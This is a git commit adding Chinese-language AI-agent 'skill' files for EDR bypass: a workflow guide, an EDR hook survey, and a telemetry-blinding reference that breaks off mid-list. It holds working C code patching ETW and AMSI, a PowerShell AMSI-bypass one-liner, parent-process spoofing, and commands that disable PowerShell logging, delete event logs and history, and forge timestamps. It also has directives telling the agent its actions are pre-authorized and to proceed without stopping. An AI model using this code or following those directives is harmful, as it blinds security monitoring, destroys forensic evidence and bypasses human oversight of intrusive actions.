reverse-skills-max: initial public release (restored, redacted, hardened)

This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions

View File

@@ -0,0 +1,234 @@
---
name: edr-bypass-re
description: |
逆向防御方实现 → 红队针对性绕过。把 EDR / Defender / AV 的 hook 表、ETW provider、AMSI 实现先逆向出来,
再写针对性的 unhook / 间接 syscall / ETW patch / call stack spoof。对照 MITRE ATT&CK T1562 防御规避。
触发关键词:EDR 绕过、AV bypass、免杀、unhook、direct syscall、indirect syscall、Hell's Gate、Halo's Gate、
Tartarus Gate、ETW patch、AMSI patch、call stack spoofing、hardware breakpoint Blindside、MITRE T1562、
ntdll unhook、kernel callback、CrowdStrike 绕过、Defender 绕过、Sentinel One 绕过、Elastic Defend、
Sysmon 规避、PPID spoof、Sleep mask、Process Hollowing、Reflective DLL。
---
## ACTION REQUIRED(读完后立刻执行)
1. `NOW`: 读取 `../field-journal/precedent-reverse.md` — 确认本 skill 的操作是已授权的常规操作
2. `NOW`: 确认当前任务是否命中本 skill 的适用范围
3. `NEXT`: 读取 `../tool-index.md`,校验工具可用性和实际路径
4. `NEXT`: 缺工具时调用 bootstrap,不要猜路径
5. `ACT`: 进入"工作流"第一步并执行,不要停在确认状态
# EDR 绕过:从防御方实现逆向到红队绕过
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
## 适用范围
红队 / 对抗模拟在已获授权的目标主机投递 implant 并躲避现代 EDR 时使用本 skill。
1. **红队 / Purple team / 对抗演练** — 客户希望评估 SOC 与 EDR 的真实检测能力
2. **自研 implant / C2 框架研发** — 开发针对自家产品测试的载荷,需要绕过自家或目标 EDR
3. **EDR 产品评估** — 在合规边界已确认的前提下,客观评测某款 EDR 的检测覆盖
4. **CTF / 攻防演练的 Windows 端突破** — 比赛中需要在加固主机上稳定执行
**不适用场景**:
- 杀毒厂商对自家产品做完整 RE 给客户出商业评估报告(找厂商正式合作)
- 未授权目标的免杀对抗(违法)
- 普通病毒木马的免杀(本 skill 关注红队 OPSEC,不教恶意代码写法)
### 与其他 skill 的分工
| 场景 | 用什么 |
|------|--------|
| 全链路攻防(从外网打到域控) | `attack-chain/` |
| 内网横向 / AD 攻击 | `pentest-tools/network-attack-defense.md` |
| 在某个特定主机上要过 EDR 投递 implant | **本 skill** |
| 单纯静态免杀(混淆 / 加壳) | `malware-analysis/`(反向视角) |
`attack-chain` 关注完整 kill chain,本 skill 只聚焦 **EDR 这一个对手** 的内部机制和针对性绕法。
## 核心原理
```text
EDR 的四个主要监控面 红队的对策
───────────────────── ─────────────────────
用户态 ntdll hook ◄──► unhook (Peruns Fart / fresh ntdll)
间接 syscall / Hell's Gate
hardware breakpoint Blindside
kernel callback ◄──► call stack spoof
(Ps/Cm/Ob 系列) 走合法触发链(不直接绕,配合上游隐身)
ETW telemetry ◄──► EtwEventWrite patch
(Microsoft-Windows-Threat- NtTraceControl 关 provider
Intelligence 等) AmsiContext 同步处理
AMSI 扫描 ◄──► AmsiScanBuffer patch (mov eax,0x80070057; ret)
(amsi.dll) hardware breakpoint 旁路
reflective 加载副本 amsi.dll
```
关键认知:
- **EDR 不是黑盒** — 关键 hook / callback / provider 都能用 IDA + windbg 逆出来
- **绕过技术要组合使用** — 单独一个 unhook 解决不了 ETW 告警,单独 AMSI patch 解决不了 syscall hook
- **顺序很重要** — 先 ETW patch → 再 AMSI patch → 再 unhook;顺序错了 EDR 先收到 unhook 告警
- **现代 EDR 已经把 ETW + kernel callback 当主战场**,单纯用户态 unhook 早已不够
## 工作流
### Step 1:识别目标主机的 EDR
```powershell
# 列出常见 EDR / AV 驱动
Get-Service | Where-Object {$_.Name -match 'CSAgent|SentinelAgent|elasticendpoint|esets|ekrn|MsMpEng|wdsvc|cyserver|sysmon|aswbidsagent'}
# 列出加载的 minifilter
fltmc filters
# 列出已注册的内核 callback(需 windbg + 内核调试 / 或用 PChunter / DRVHV)
# !object \Callback
# !pnpcallback / Process / Thread / Image
```
EDR 指纹表见 `references/hook-survey.md` 顶部。
### Step 2:从 EDR DLL 提 hook 表
1. attach 到一个被注入 EDR 用户态组件的进程(任何已落地进程)
2. 在 windbg 中 dump 当前 `ntdll.dll` 的 `.text` 段
3. 与磁盘上干净的 `C:\Windows\System32\ntdll.dll` 做 diff
4. 不一致的地方就是 hook 点
或者直接用 `pe-sieve`:
```powershell
pe-sieve64.exe /pid 1234 /shellc 3 /modules 3 /dir hooks_dump
```
详细方法见 `references/hook-survey.md`。
### Step 3:选绕过技术组合
| 防御点 | 推荐绕法 |
|--------|---------|
| ntdll inline hook | indirect syscall + 动态 SSN (Halo's Gate) |
| ETW-TI provider | EtwEventWrite head patch |
| AMSI(PowerShell / .NET) | AmsiScanBuffer patch 或 HWBP |
| kernel callback | call stack spoof + 走 legit gadget |
| Sysmon ProcessCreate | PPID spoof + unbacked memory |
### Step 4:在 implant 中实现
代码骨架见 `references/unhook-techniques.md` 与 `references/telemetry-blinding.md`。
### Step 5:本地 sandbox 验证
```powershell
# 在隔离环境部署目标 EDR 试用版(Defender 默认即可起步)
# 启用 Sysmon + olaf-config
sysmon64.exe -i sysmonconfig.xml
# 跑 implant,看是否触发以下告警源:
# - Defender AMSI
# - ETW-TI
# - Sysmon Event ID 1/7/8/10
# - EDR 控制台
```
### Step 6:投递
- 文件落地路径用合法软件目录
- PPID spoof 到 explorer.exe
- 配合 `attack-chain` 中的 initial access 节
## 典型场景
### 场景 1:投递 cobalt-strike-alike beacon 过 Defender + Sysmon
```text
目标:Windows 11 Enterprise + Defender (云查杀开) + Sysmon (olaf 配置)
要求:beacon 落地后能 callback 且不触发任何告警
组合拳:
1. shellcode 加密存储,运行时解密
2. AMSI patch(如果走 PowerShell 投递)
3. EtwEventWrite patch(消 ETW-TI)
4. 间接 syscall + Halo's Gate(消 ntdll hook 告警)
5. PPID spoof 到 explorer.exe
6. sleep 阶段用 Ekko / Foliage 加密自身内存
```
### 场景 2:在已落地的低权限 shell 上做 EDR sleep mask
```text
前置:已经通过 phishing 拿到 medium IL shell,EDR 正在监控
风险:长时间驻留容易被内存扫描发现 beacon 特征
解法:
1. 不再申请新 RWX 内存
2. sleep 期间用 Ekko:
- WaitForSingleObjectEx + CreateTimerQueueTimer
- 在定时器里加密自身 .text + 把堆栈刷成全 0
3. wake 时用 ROP 还原
4. 配合 call stack spoof 让 RtlCaptureStackBackTrace 看不到信标地址
```
## 按需自举(On-Demand Bootstrap)
### 工具依赖
| 工具 | 用途 | 可自动安装 |
|------|------|-----------|
| pe-sieve | 检测进程中的 hook / 注入 | ✓ |
| API Monitor v2 | 动态观察 API 调用与 hook | 半自动(手动下载) |
| SysWhispers3 | 生成直接 / 间接 syscall stub | ✓(git clone + python) |
| Hell's Gate POC | 动态 SSN 解析参考实现 | ✓(git clone) |
| windbg + IDA | 静态逆 EDR DLL / 内核 callback | ✗(自己装) |
| Sysmon + olaf config | 本地验证环境 | ✓ |
### 自举命令
```powershell
powershell -NoProfile -ExecutionPolicy Bypass -File "<SKILL_ROOT>\skills\scripts\bootstrap-reverse.ps1" -Capability @('pe-sieve','syswhispers3','sysmon') -StartServices
```
## 路由上下文
**上游入口**:
- `reverse-engineering/` — 需要先理解 EDR DLL / 驱动的实现
- `attack-chain/` — 决定在 kill chain 的哪个阶段引入本 skill
**同级关联**:
- `pentest-tools/network-attack-defense.md` — 内网横向时如何与本 skill 联动
- `malware-analysis/` — 反向视角,看检测方怎么写规则
- `field-journal/` — 每次实战后回写经验
**下游交付**:
- 生成报告时引用 MITRE ATT&CK **T1562 (Impair Defenses)**、T1562.001 (Disable or Modify Tools)、T1562.006 (Indicator Blocking)、T1055 (Process Injection)、T1027 (Obfuscated Files or Information)
## 法律边界声明
- 仅限合法授权的红队 / 对抗演练 / 自有产品测试
- 操作前必须取得书面授权(SoW / 测试合同 / SRC 范围说明)
- 不得用于未授权目标,不得超出授权范围
- 发现高危问题立即向客户报告,遵循负责任披露
- 所有报告中真实目标信息必须脱敏(IP / 主机名 / 域名 / 凭证占位)
## 参考资料
- 详细 hook 调研:`references/hook-survey.md`
- unhook / syscall 技术:`references/unhook-techniques.md`
- ETW / AMSI / 反取证:`references/telemetry-blinding.md`
- MITRE ATT&CK T1562:<https://attack.mitre.org/techniques/T1562/>
## 任务完成自检(声称完成前 MUST 通过)
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?

View File

@@ -0,0 +1,226 @@
# EDR Hook 调研速查
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
本文档汇总主流 EDR / AV 在用户态与内核态的监控点,供红队侦察阶段快速定位"该处理什么"。
## 1. 主流 EDR 指纹与 hook 模式速查
| 厂商 / 产品 | 用户态组件 | 内核驱动 | 主要监控面 |
|------------|-----------|---------|-----------|
| CrowdStrike Falcon | `CSFalconService.exe`, `CSAgent.sys` 注入到目标进程 | `CSAgent.sys`, `CSBoot.sys` | 重内核 callback + ETW-TI;用户态 hook 较少(云查) |
| Microsoft Defender for Endpoint (MDE) | `MsMpEng.exe`, `MpClient.dll` | `WdFilter.sys`, `WdBoot.sys`, `WdNisDrv.sys` | AMSI + ETW-TI + ntdll inline hook + kernel callback 全面 |
| SentinelOne | `SentinelAgent.exe`, `SentinelHelperService.exe` | `SentinelMonitor.sys`, `SentinelDeviceControl.sys` | ntdll 用户态 hook 重 + 内核 callback + 自有 ETW provider |
| Elastic Defend (原 Endpoint Security) | `elastic-endpoint.exe` | `elastic-endpoint-driver.sys` | 主要 ETW + 少量 ntdll hook,配合 Elastic Agent 上传 |
| ESET | `ekrn.exe`, `eamsi.dll` | `eamonm.sys`, `epfwwfp.sys` | 用户态 hook 非常多(NtCreateFile / NtOpenProcess 等) |
| Sophos Intercept X | `SophosFileScanner.exe`, `SophosNtpService.exe` | `SophosED.sys`, `hmpalert.sys` | ntdll hook + HMPA 内存防护 + 内核 callback |
| Kaspersky | `avp.exe`, `klif.sys` | `klif.sys`, `klhk.sys` | 重用户态 hook + KLIF 自有微过滤 + 网络过滤驱动 |
| Trend Micro Apex One | `TmListen.exe`, `TmCCSF.dll` | `tmcomm.sys`, `tmactmon.sys` | 用户态 hook + 行为监控驱动 |
| Carbon Black | `RepMgr.exe`, `RepWAV.exe` | `ParityDriver.sys` | 偏内核 callback + ETW |
### 快速指纹脚本
```powershell
$edrSigs = @{
'CSAgent' = 'CrowdStrike Falcon'
'SentinelAgent' = 'SentinelOne'
'elastic-endpoint' = 'Elastic Defend'
'ekrn' = 'ESET'
'MsMpEng' = 'Microsoft Defender'
'SophosFileScanner' = 'Sophos Intercept X'
'avp' = 'Kaspersky'
'TmListen' = 'Trend Micro Apex One'
'cb' = 'Carbon Black'
}
Get-Process | ForEach-Object {
foreach ($k in $edrSigs.Keys) {
if ($_.ProcessName -match $k) {
"[+] $($edrSigs[$k]) detected: $($_.ProcessName) (PID $($_.Id))"
}
}
}
Get-ChildItem 'C:\Windows\System32\drivers\*.sys' |
Where-Object { $_.Name -match 'CSAgent|Sentinel|elastic|eam|WdFilter|Sophos|klif|tmcomm|Parity' } |
Select-Object Name, VersionInfo
```
## 2. 用户态 ntdll hook 重点函数
EDR 几乎一定 hook 的 `ntdll.dll` 导出(按 ATT&CK 行为分组):
| 函数 | 监控的行为 | ATT&CK |
|------|-----------|--------|
| `NtCreateThreadEx` | 远程线程注入、QueueUserAPC 注入 | T1055.002 / T1055.004 |
| `NtAllocateVirtualMemory` | shellcode 申请 RWX 内存 | T1055 |
| `NtAllocateVirtualMemoryEx` | 跨进程内存申请(Win10+ 新 API) | T1055 |
| `NtProtectVirtualMemory` | 改页面权限 RW→RX | T1055 |
| `NtWriteVirtualMemory` | 跨进程写 shellcode | T1055.012 |
| `NtMapViewOfSection` | section-based 注入(Process Doppelganging / Ghosting) | T1055.013 |
| `NtCreateSection` | 配合 MapViewOfSection | T1055.013 |
| `NtOpenProcess` | 打开目标进程拿 handle | T1057 |
| `NtQueueApcThread` / `NtQueueApcThreadEx` | APC 注入 | T1055.004 |
| `NtCreateProcess` / `NtCreateProcessEx` / `NtCreateUserProcess` | 创建子进程(含 PPID spoof) | T1106 |
| `NtSetContextThread` | 改线程上下文(线程劫持注入) | T1055.003 |
| `NtResumeThread` | 注入完后恢复线程 | T1055 |
| `NtQuerySystemInformation` | 枚举进程 / 驱动 / handle | T1057 / T1082 |
| `NtAdjustPrivilegesToken` | 提权获取 SeDebugPrivilege 等 | T1134 |
| `NtLoadDriver` | 加载内核驱动(BYOVD) | T1543.003 |
### 验证 hook 是否存在
```powershell
# 简单:把磁盘 ntdll 和当前进程的 ntdll 反汇编 diff
# 1. 拿磁盘 ntdll
copy C:\Windows\System32\ntdll.dll C:\temp\ntdll_clean.dll
# 2. 在 windbg 中 attach 任意进程,导出当前 ntdll 的 .text 段
# .writemem c:\temp\ntdll_live.bin ntdll!.text L?<size>
# 3. 用 IDA / radare2 反汇编 NtAllocateVirtualMemory,正常应该是:
# mov r10, rcx
# mov eax, <SSN>
# test byte ptr [...]
# jne ...
# syscall
# ret
# 如果第一条变成 jmp <某地址>,那就是 hook
```
## 3. 内核 callback 监控点
EDR 注册的常见内核回调(一律可被 `attack-chain` 中的 BYOVD 路线 unregister,但代价高):
| API | 注册的回调时机 | 防御方用途 |
|-----|--------------|-----------|
| `PsSetCreateProcessNotifyRoutineEx` | 进程创建 / 退出 | 拦截可疑 child process |
| `PsSetCreateThreadNotifyRoutine` | 线程创建 / 退出 | 检测远程线程注入 |
| `PsSetLoadImageNotifyRoutine` | DLL / EXE 加载到任意进程 | 模块完整性 / 未签名拦截 |
| `CmRegisterCallback` / `CmRegisterCallbackEx` | 注册表操作 | 持久化检测 |
| `ObRegisterCallbacks` | `OpenProcess` / `OpenThread` 句柄请求 | 防止 LSASS 句柄获取 (T1003.001) |
| `MmRegisterPhysicalMemoryCallback` | 物理内存映射 | 防 DMA / 内存取证 |
| `IoRegisterFsRegistrationChange` | 文件系统注册 | minifilter 协同 |
| `KeRegisterNmiCallback` | NMI(极少 EDR 用) | 异常监控 |
| `EtwRegister` (内核侧) | 内核 ETW 上报 | 跟 ETW-TI 共生 |
### 用 windbg 枚举已注册 callback
```text
0: kd> dx -r1 nt!PspCreateProcessNotifyRoutine
0: kd> dx -r1 nt!PspCreateThreadNotifyRoutine
0: kd> dx -r1 nt!PspLoadImageNotifyRoutine
0: kd> !object \Callback
0: kd> !object \Callback\ProcessObject
```
或用 PChunter / DRVHV 这类工具,普通用户可视化看 callback 列表。
## 4. 静态 dump hook 表(IDA + windbg 流程)
### 流程 A:单进程比对
```text
1. 找一个已被 EDR 注入用户态组件的进程(任意已存活进程)
2. windbg attach (-pn target.exe)
3. lm m ntdll → 拿到模块基址
4. .writemem c:\temp\ntdll_live.bin ntdll+0x0 L?<image size>
5. 把 C:\Windows\System32\ntdll.dll 复制为 c:\temp\ntdll_disk.dll
6. 在 IDA 里加载两个文件,跳到 NtAllocateVirtualMemory:
- disk:标准 prologue
- live:第一条 jmp <0x7FFE000000xx>
7. 跟着 jmp 目标地址 → 那就是 EDR 的 trampoline,dump 出来
8. 进 trampoline 看它最终落到哪个 DLL,确认 EDR 模块名
```
### 流程 B:批量 hook 表生成
用 `HookHunter` 或自写脚本:
```powershell
# pseudo workflow,详见 references 提到的脚本
$disk = Get-Content C:\Windows\System32\ntdll.dll -Encoding Byte
$live = # 通过 OpenProcess + ReadProcessMemory 拿
# 对比 .text 段每个 export 的前 16 字节
```
## 5. pe-sieve 自动检测
`pe-sieve` 是侦察 EDR hook 与 implant 自检的首选:
```powershell
# 基本扫描
pe-sieve64.exe /pid 1234
# 推荐组合(含 shellcode 与 hook 检测)
pe-sieve64.exe /pid 1234 /shellc 3 /modules 3 /imp 3 /data 3 /dir hooks_dump
# 关键参数:
# /shellc N shellcode 扫描等级 (0-3)
# /modules N 模块完整性检查 (0-3)
# /imp N IAT hook 检查
# /data N 数据段扫描
# /dir <path> dump 输出目录
```
输出会在 `hooks_dump/<pid>.<name>/` 下产生 `*.tag` 文件,列出 hook 地址:
```text
modified_modules.tag 示例:
71f10000;ntdll.dll
71f1a3b0;hook;jmp_far
71f1c020;hook;jmp_near
```
可直接喂给 IDA 跳到对应 RVA 做后续分析。
### 在 implant 中嵌入 pe-sieve(自检)
实战中常把 `pe-sieve` 编译为 lib (`libpe-sieve`),让 implant 启动时先自检:如果 ntdll 有 hook,就触发 unhook 流程;如果发现自己被 hook 反而要小心,可能在沙箱里。
## 6. API Monitor v2 动态观察
API Monitor v2(Rohitab)适合在 lab 里看 EDR 在何时何处插入 hook:
```text
1. 启动 API Monitor v2(管理员)
2. API Filter 勾选:
- NT Native API → Memory Management
- NT Native API → Process and Thread
- Windows Defender / AMSI(如果可见)
3. Monitor New Process → 选择 implant 测试样本
4. 观察:
- NtAllocateVirtualMemory 调用顺序
- 是否被 EDR DLL 中转
5. 在 Modules tab 看哪些 EDR DLL 被 LoadLibrary 注入
```
## 7. 常见 EDR DLL(用户态)速查
| DLL | 厂商 | 备注 |
|-----|------|------|
| `umppc*.dll` | Microsoft Defender | MpClient userland |
| `mpoav.dll` | Microsoft Defender | AMSI provider |
| `aswAMSI.dll` | Avast | AMSI provider |
| `eamsi.dll` | ESET | AMSI provider |
| `IDPMServiceClient.dll` | Sophos | HMPA 注入 |
| `klsihk64.dll` | Kaspersky | 注入到目标进程 |
| `CrowdStrike.Sensor.dll` | CrowdStrike | 旧版本,新版主要靠内核 |
| `SentinelInjection64.dll` | SentinelOne | 用户态注入 |
| `TmUmEvt64.dll` | Trend Micro | 行为监控 |
确认目标 EDR 后,再决定逆向哪个 DLL 取 hook 表。
## 参考链接
- pe-sieve:<https://github.com/hasherezade/pe-sieve>
- HollowsHunter:<https://github.com/hasherezade/hollows_hunter>
- API Monitor v2:<http://www.rohitab.com/apimonitor>
- MITRE ATT&CK T1562:<https://attack.mitre.org/techniques/T1562/>
- MITRE ATT&CK T1055:<https://attack.mitre.org/techniques/T1055/>
- ired.team EDR notes:<https://www.ired.team/offensive-security/defense-evasion>
## 路由回调
完成 hook 调研后,回到 `SKILL.md` 的 Step 3 选择绕过技术组合,然后按 `references/unhook-techniques.md` 与 `references/telemetry-blinding.md` 执行。

View File

@@ -0,0 +1,346 @@
# 遥测致盲:ETW / AMSI / 反取证
> 仅限授权红队 / 对抗演练 / 自有产品测试,禁止用于未授权目标。
EDR 的检测能力很大程度依赖 ETW(Event Tracing for Windows)与 AMSI(Antimalware Scan Interface)这两条遥测管道。
本文档汇总针对这两条管道的红队对策,并补充 Sysmon / PowerShell logging / 时间戳 spoof 等反取证组合。
对照 MITRE ATT&CK:T1562.001 / T1562.002 / T1562.006 / T1070 / T1027。
## 1. ETW 内部结构
ETW 是 Windows 内置的高性能事件追踪框架,EDR 用它做"轻量内核遥测"。
红队最关心的 provider:
| Provider GUID | 名称 | 谁在用 |
|--------------|------|--------|
| `{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}` | Microsoft-Windows-Threat-Intelligence (ETW-TI) | Defender、MDE、第三方 EDR |
| `{A0C1853B-5C40-4B15-8766-3CF1C58F985A}` | Microsoft-Antimalware-Scan-Interface | Defender AMSI 上报 |
| `{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}` | Microsoft-Windows-Kernel-Process | 进程 / 线程基础事件 |
| `{2839FF94-8F12-4E1B-82E3-AF7AF77A450F}` | Microsoft-Windows-DotNETRuntime | .NET 加载、JIT |
| `{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}` | .NET CLR | CLR 启动 |
### 关键用户态 API
| API | DLL | 作用 |
|-----|-----|------|
| `EtwEventWrite` | `ntdll.dll` | 写事件(最常用) |
| `EtwEventWriteFull` | `ntdll.dll` | 带 activity ID 的事件 |
| `EtwEventWriteEx` | `ntdll.dll` | 扩展版本 |
| `NtTraceEvent` | `ntdll.dll` | EtwEventWrite 底层 |
| `NtTraceControl` | `ntdll.dll` | 控制 trace session(启/停/查询 provider) |
| `EtwEventEnabled` | `ntdll.dll` | provider 是否启用 |
| `EtwEventRegister` | `ntdll.dll` | 注册 provider |
### 调用链
```text
应用代码 EventWrite(...)
→ 微软封装 (TraceLogging API)
→ ntdll!EtwEventWrite[Full|Ex]
→ ntdll!NtTraceEvent (syscall)
→ nt!NtTraceEvent (内核)
→ 内核 ETW core → 消费端(EDR 用户态进程订阅 session)
```
## 2. ETW Patch 三种方法
### 方法 A:EtwEventWrite head patch
直接把 `ntdll!EtwEventWrite` 入口改成立即返回成功:
```text
原始:
4C 8B DC mov r11, rsp
48 81 EC 88 00 00 00 sub rsp, 88h
...
patch 后(x64):
33 C0 xor eax, eax ; STATUS_SUCCESS = 0
C3 ret
```
C 代码:
```c
#include <windows.h>
BOOL PatchEtwEventWrite(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
FARPROC pEtw = GetProcAddress(hNtdll, "EtwEventWrite");
if (!pEtw) return FALSE;
BYTE patch[] = { 0x33, 0xC0, 0xC3 }; // xor eax,eax; ret
DWORD oldProt = 0;
// 注意:VirtualProtect 自身可能被 hook -> 用 indirect syscall 版本
if (!VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt))
return FALSE;
memcpy(pEtw, patch, sizeof(patch));
VirtualProtect(pEtw, sizeof(patch), oldProt, &oldProt);
return TRUE;
}
```
**OPSEC 警告**:写 ntdll 内存本身是 ETW-TI 监控的 `ALPC_MODIFY_PROCESS` / `PROTECTVM` 事件源。
必须 **先用 indirect syscall + 绕过 NtProtectVirtualMemory hook 后再 patch**,
否则 patch 还没生效 EDR 就已经收到告警。
### 方法 B:EtwEventEnabled always-false
更隐蔽:不修改 `EtwEventWrite`,而是让 `EtwEventEnabled` 永远返回 FALSE,
应用层会自己判断 "provider 没开" → 不调用 `EtwEventWrite`,对内存 hash 完整性检查更友好(很多 EDR 校验 `EtwEventWrite` 字节)。
```c
// EtwEventEnabled 通常返回 BOOLEAN (1 byte)
BYTE patch[] = { 0x32, 0xC0, 0xC3 }; // xor al,al; ret
```
### 方法 C:NtTraceControl 关 provider
用 syscall 直接关闭 EDR session(侵入式,但是不动 ntdll 字节):
```c
// NtTraceControl(EtwpStopTrace, ...)
// 需要 SeSystemProfilePrivilege 或更高
// 适用于 Local Admin + UAC bypass 后
```
实战中较少用,因为:
- 关 session 本身会触发"ETW provider stopped"事件被另一条管道感知
- 需要高权限
### 方法 D:内核态 ETW patch(仅在已有 BYOVD/内核读写时)
```text
nt!EtwpEventTracingProviderEnableInfo
nt!EtwThreatIntProvRegHandle
直接置 0 让所有 ETW-TI 事件被丢弃
```
属于 attack-chain 的 BYOVD 阶段,本 skill 不深入。
## 3. AMSI Bypass
AMSI 是 Windows 提供给 PowerShell / .NET / WMI / VBA 在执行脚本前做反病毒扫描的接口。
红队最常碰到的是 PowerShell + AMSI。
### 经典 AmsiScanBuffer Patch
```c
// amsi.dll!AmsiScanBuffer 入口写:
// mov eax, 0x80070057 ; E_INVALIDARG
// ret 4 ; (32位) 或 ret (64位)
BOOL PatchAmsi(void) {
HMODULE h = LoadLibraryA("amsi.dll");
if (!h) return FALSE;
FARPROC p = GetProcAddress(h, "AmsiScanBuffer");
if (!p) return FALSE;
BYTE patch64[] = {
0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 0x80070057
0xC3 // ret
};
DWORD old = 0;
VirtualProtect(p, sizeof(patch64), PAGE_EXECUTE_READWRITE, &old);
memcpy(p, patch64, sizeof(patch64));
VirtualProtect(p, sizeof(patch64), old, &old);
return TRUE;
}
```
PowerShell 一句话版本(仅参考检测对抗,本身被签名 / Defender 拦截):
```powershell
# 概念演示——真实环境必须配合混淆 / HWBP
[Ref].Assembly.GetType('System.Management.Automation.'+$([char]65+'msi'+'Utils')).GetField($([char]97+'msiInitFailed'),'NonPublic,Static').SetValue($null,$true)
```
### 进阶方案 1:Hardware Breakpoint AMSI Bypass
不动 amsi.dll 内存(不会触发完整性扫描):
1. AddVectoredExceptionHandler
2. 在 `AmsiScanBuffer` 入口设 `DR0`
3. VEH 命中时设置 `RAX = 0x80070057`、`RIP = ret 指令地址`、`RSP += 8`
4. ContinueExecution
与 unhook-techniques.md 的 HWBP Blindside 同一套基础设施,可以共用 VEH。
### 进阶方案 2:AmsiContext / AmsiSession 损坏
构造畸形 `AmsiContext` 结构,让 `AmsiScanBuffer` 内部因为校验失败提前返回 success:
```text
// AmsiContext 头部应该是 "AMSI" 魔数
// 改成 "XXXX" → AmsiScanBuffer 内部校验失败但返回 S_OK + AMSI_RESULT_CLEAN
```
### 进阶方案 3:Reflective 加载副本 amsi.dll
不用系统 amsi.dll,把一份干净副本反射加载到自己进程,并重定向 PowerShell 引擎对 AMSI 的调用。
适用于已经在加载阶段拦截 PowerShell.exe 启动的高级 EDR。
## 4. 反取证:清除痕迹
### PowerShell ScriptBlock Logging 关闭
```powershell
# 注册表(需管理员)
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' `
-Name 'EnableScriptBlockLogging' -Value 0 -Force
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging' `
-Name 'EnableModuleLogging' -Value 0 -Force
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription' `
-Name 'EnableTranscripting' -Value 0 -Force
# Group Policy 路径:
# Computer Configuration → Administrative Templates → Windows Components →
# Windows PowerShell → Turn on PowerShell Script Block Logging = Disabled
```
### 清 PowerShell history
```powershell
# 当前会话
Clear-History
# 持久化 history (PSReadLine)
Remove-Item (Get-PSReadLineOption).HistorySavePath -Force -ErrorAction SilentlyContinue
```
### 清 Prefetch
```powershell
# 需要 SYSTEM
Remove-Item 'C:\Windows\Prefetch\implant*.pf' -Force
# 整体清空(动作大,慎用)
# Remove-Item 'C:\Windows\Prefetch\*.pf' -Force
```
### 清 ETL log
```powershell
# 停 session 后删 etl
logman stop "EventLog-Security" -ets
Remove-Item 'C:\Windows\System32\winevt\Logs\Security.evtx' -Force -ErrorAction SilentlyContinue
# 注意:直接删 .evtx 会被 Event Log Service 重新创建并写入 "log cleared" 事件 (Event ID 1102)
# 更隐蔽:内存中 patch wevtsvc.dll 的 EventLog API(属于 T1070.001)
```
### 时间戳 spoof (T1070.006)
```powershell
$f = 'C:\Windows\Temp\implant.dll'
$ref = 'C:\Windows\System32\notepad.exe'
(Get-Item $f).CreationTime = (Get-Item $ref).CreationTime
(Get-Item $f).LastWriteTime = (Get-Item $ref).LastWriteTime
(Get-Item $f).LastAccessTime = (Get-Item $ref).LastAccessTime
```
## 5. Sysmon 监控规避
Sysmon 是社区最常见的免费遥测(很多企业用 olaf 配置)。
关键事件:
| Event ID | 含义 |
|----------|------|
| 1 | ProcessCreate(含 PPID、CommandLine、Hash) |
| 7 | ImageLoad(DLL 加载) |
| 8 | CreateRemoteThread |
| 10 | ProcessAccess(OpenProcess) |
| 11 | FileCreate |
| 12/13/14 | 注册表 |
| 22 | DNS Query |
| 25 | ProcessTampering(image hollowing) |
### 规避思路
1. **不创建新进程** — 全部在已注入进程内行动,避开 Event ID 1
2. **PPID Spoof** — 用 `UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)` 把 PPID 设为 `explorer.exe`,让 Sysmon ProcessCreate 看着合法
```c
STARTUPINFOEX si = {0};
PROCESS_INFORMATION pi = {0};
SIZE_T size = 0;
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, g_explorerPid);
si.StartupInfo.cb = sizeof(STARTUPINFOEX);
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
```
3. **Unbacked memory + 不动镜像** — Process Hollowing 在新版 Sysmon 已经被 Event ID 25 捕获。
首选用 **module stomping**(覆盖已加载合法 DLL 的某节区)或 **dirty vanity** 等较新技术,
配合 PPID spoof
4. **不要远程线程** — 避免 Event ID 8;用 `NtCreateThreadEx` 在自己进程内执行 / APC / Early Bird APC
5. **DNS 走 DoH / HTTPS** — 避免 Event ID 22
## 6. Call Stack Spoof + 时间戳让事件像合法软件
即使 ProcessCreate 没办法不触发(比如某些场景必须 spawn child),可以:
- 把 CommandLine 改成与某个合法软件相似的格式
- PPID spoof 到 services.exe(伪装 SCM 启动的服务)
- 修改 ImageLoad 看到的 Image hash:通过 module stomping 把 implant 代码放进一个签名 DLL 内存空间
- 配合 CallStackSpoofer:Sysmon 即使开了 EnableCallTracing 也看不到 implant 帧
## 7. 实战 OPSEC:操作顺序
**顺序错了 EDR 会先收到告警**,导致后续动作直接被熔断。
正确顺序:
```text
1. AMSI bypass (HWBP 优先,避免写 amsi.dll)
─── 让 .NET / PowerShell 装载 implant 时不被扫
2. ETW patch (先 patch EtwEventWrite,再做任何 syscall)
─── 关掉自身后续动作的遥测
3. NtProtectVirtualMemory 用 indirect syscall 调用
